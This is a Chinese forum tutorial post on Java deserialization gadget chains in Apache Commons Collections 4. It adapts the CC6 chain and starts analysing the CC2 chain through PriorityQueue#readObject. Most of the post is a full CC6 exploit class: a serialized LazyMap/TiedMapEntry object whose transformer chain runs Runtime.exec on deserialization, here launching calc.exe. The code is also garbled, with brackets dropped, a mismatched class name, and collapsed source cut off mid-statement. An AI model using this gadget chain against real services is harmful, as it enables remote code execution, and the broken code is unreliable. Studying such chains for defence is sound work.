魏晓东 发表于 2025-1-7 19:40:45

06CC2、commons-collections4与漏洞修复

commons-collections的版本和分支

2015年cc链的利用被提出时,apache commons collections有两个分支:

[*]commons-collections:commons-collections
[*]org.apache.commons:commons-collections4
前者为Commons Collections⽼的版本包,当时版本号是3.2.1,后 者是官⽅在2013年推出的4版本,当时版本号是4.0。两个包的groupId和artifactId都变了,所以它们并不是一个包的不同版本,而是有着相似功能的不同包。
commons-collections4中的cc1、cc3、cc6

cc1、cc3、cc6都可以在CommonsCollections4中利用,除了cc6需要做一些小改动
将LazyMap.decorate替换为了LazyMap.lazyMap,这是因为CommonsCollections4中的代码改动造成的。
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6InCommonsCollections4 {
    public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, NoSuchFieldException {
      Object expMap = new CommonCollection6().getObject();
      // ==================
      // ⽣成序列化字符串
      ByteArrayOutputStream barr = new ByteArrayOutputStream();
      ObjectOutputStream oos = new ObjectOutputStream(barr);
      oos.writeObject(expMap);
      oos.close();
      // 本地测试触发
      System.out.println(barr);
      ObjectInputStream ois = new ObjectInputStream(new
                ByteArrayInputStream(barr.toByteArray()));
      Object o = (Object)ois.readObject();
    }
    public Object getObject() throws NoSuchFieldException, IllegalAccessException {
      Transformer[] fakeTransformers = new Transformer[] {new
                ConstantTransformer(1)};
      Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class,
                        Class[].class }, new
                        Object[] { "getRuntime",

                        new Class }),
                new InvokerTransformer("invoke", new Class[] { Object.class,
                        Object[].class }, new
                        Object[] { null, new Object }),
                new InvokerTransformer("exec", new Class[] { String.class },
                        new String[] { "calc.exe" }),
                new ConstantTransformer(1),
      };
      Transformer transformerChain = new ChainedTransformer(fakeTransformers);

      Map innerMap = new HashMap();
      // 修改
      Map outerMap = LazyMap.lazyMap(innerMap, transformerChain);

      TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
      Map expMap = new HashMap();
      expMap.put(tme, "valuevalue");

      outerMap.remove("keykey");

      Field f =
                ChainedTransformer.class.getDeclaredField("iTransformers");
      f.setAccessible(true);
      f.set(transformerChain, transformers);
      return expMap;
    }
}CC2


[*]入口为java.util.PriorityQueue#readObject,是一个二叉堆
[*]通过org.apache.commons.collections4.comparators.TransformingComparator#compare调用transform
java.util.PriorityQueue#readObject分析 :
// java.util.PriorityQueue#readObjectprivate void readObject(java.io.ObjectInputStream s)      throws java.io.IOException, ClassNotFoundException {      // Read in size, and any hidden stuff      s.defaultReadObject();      // Read in (and discard) array length      s.readInt();      queue = new Object;      // Read in all elements.      for (int i = 0; i < size; i++)            queue = s.readObject();      // Elements are guaranteed to be in "proper order", but the      // spec has never explained what that might be.      heapify();    }// java.util.PriorityQueue#heapify恢复二叉堆状态private void heapify() {      // size >>> 1个非叶子节点需要调整      // 假如最后一个叶子结点的位置为n,它的父节点的位置为n>>>1,从父节点的位置往前数全部是非叶子节点      for (int i = (size >>> 1) - 1; i >= 0; i--)            // 调整每个非叶子节点            siftDown(i, (E) queue);    }private void siftDown(int k, E x) {      // 优先队列需要比较节点的大小,comparator是比较器      if (comparator != null)            siftDownUsingComparator(k, x);      else            siftDownComparable(k, x);    }// 利用提前设置的比较器private void siftDownUsingComparator(int k, E x) {      int half = size >>> 1;      while (k < half) {            int child = (k0)                c = queue;            //触发org.apache.commons.collections4.comparators.TransformingComparator#compare            if (comparator.compare(x, (E) c)
页: [1]
查看完整版本: 06CC2、commons-collections4与漏洞修复